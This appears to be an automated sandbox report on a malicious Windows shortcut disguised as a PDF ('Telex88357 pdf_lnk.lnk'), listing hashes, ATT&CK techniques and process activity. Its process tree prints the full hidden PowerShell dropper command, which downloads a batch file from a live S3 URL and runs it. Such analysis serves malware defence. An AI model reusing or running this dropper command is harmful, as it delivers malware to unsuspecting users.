ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50

Analysis

max time kernel
51s
max time network
51s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2024, 07:51

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General

Target

Telex88357 pdf_lnk.lnk
Size

2KB
MD5

f74968ddce728020a6b4a1378bbf4d41
SHA1

ba807d98906bf7dc33eb237c4da13162f599b595
SHA256

ec99d76761dc1fc2cb6c25f92f80764331e04e060dcf21a228379ad138006d50
SHA512

4a226c31e74305594a34053b5cafa5d11ba37835c7c631734a2d8a0b65f1de85126b76a6befd0901386a1d986d1b5be1e311a9bfea952017e1eb658b37869b82

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1972	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1972	powershell.exe
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1972	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 1972	3216	cmd.exe	83
PID 3216 wrote to memory of 1972	3216	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Telex88357 pdf_lnk.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://mbycket45344.s3.eu-north-1.amazonaws.com/pcor.bat', 'C:\Users\Admin\AppData\Roaming\cor.bat'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\cor.bat'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u4hwftua.you.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1972-2-0x00007FFC0ADF3000-0x00007FFC0ADF5000-memory.dmp

Filesize
8KB

Download
memory/1972-3-0x000001D72C340000-0x000001D72C362000-memory.dmp

Filesize
136KB

Download
memory/1972-13-0x00007FFC0ADF0000-0x00007FFC0B8B1000-memory.dmp

Filesize
10.8MB

Download
memory/1972-14-0x00007FFC0ADF0000-0x00007FFC0B8B1000-memory.dmp

Filesize
10.8MB

Download
memory/1972-15-0x00007FFC0ADF0000-0x00007FFC0B8B1000-memory.dmp

Filesize
10.8MB

Download
memory/1972-16-0x00007FFC0ADF0000-0x00007FFC0B8B1000-memory.dmp

Filesize
10.8MB

Download
memory/1972-19-0x00007FFC0ADF0000-0x00007FFC0B8B1000-memory.dmp

Filesize
10.8MB

Download